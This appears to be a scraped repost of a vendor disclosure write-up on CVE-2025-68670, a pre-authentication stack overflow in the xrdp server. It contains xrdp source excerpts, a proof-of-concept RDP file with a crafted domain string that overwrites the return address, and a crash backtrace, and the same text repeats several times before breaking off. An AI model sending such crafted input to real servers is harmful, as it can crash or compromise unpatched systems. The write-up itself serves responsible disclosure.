It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…
#define #ifdef #endif
Cybersecurity & cyberwarfare @[email protected] · 2026-05-08 · 08:00 UTC
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…
#define #ifdef #endif
Cybersecurity & cyberwarfare @[email protected] · 2026-05-08 · 08:00 UTC
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…
#define #ifdef #endif
Cybersecurity & cyberwarfare @[email protected] · 2026-05-08 · 08:00 UTC
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
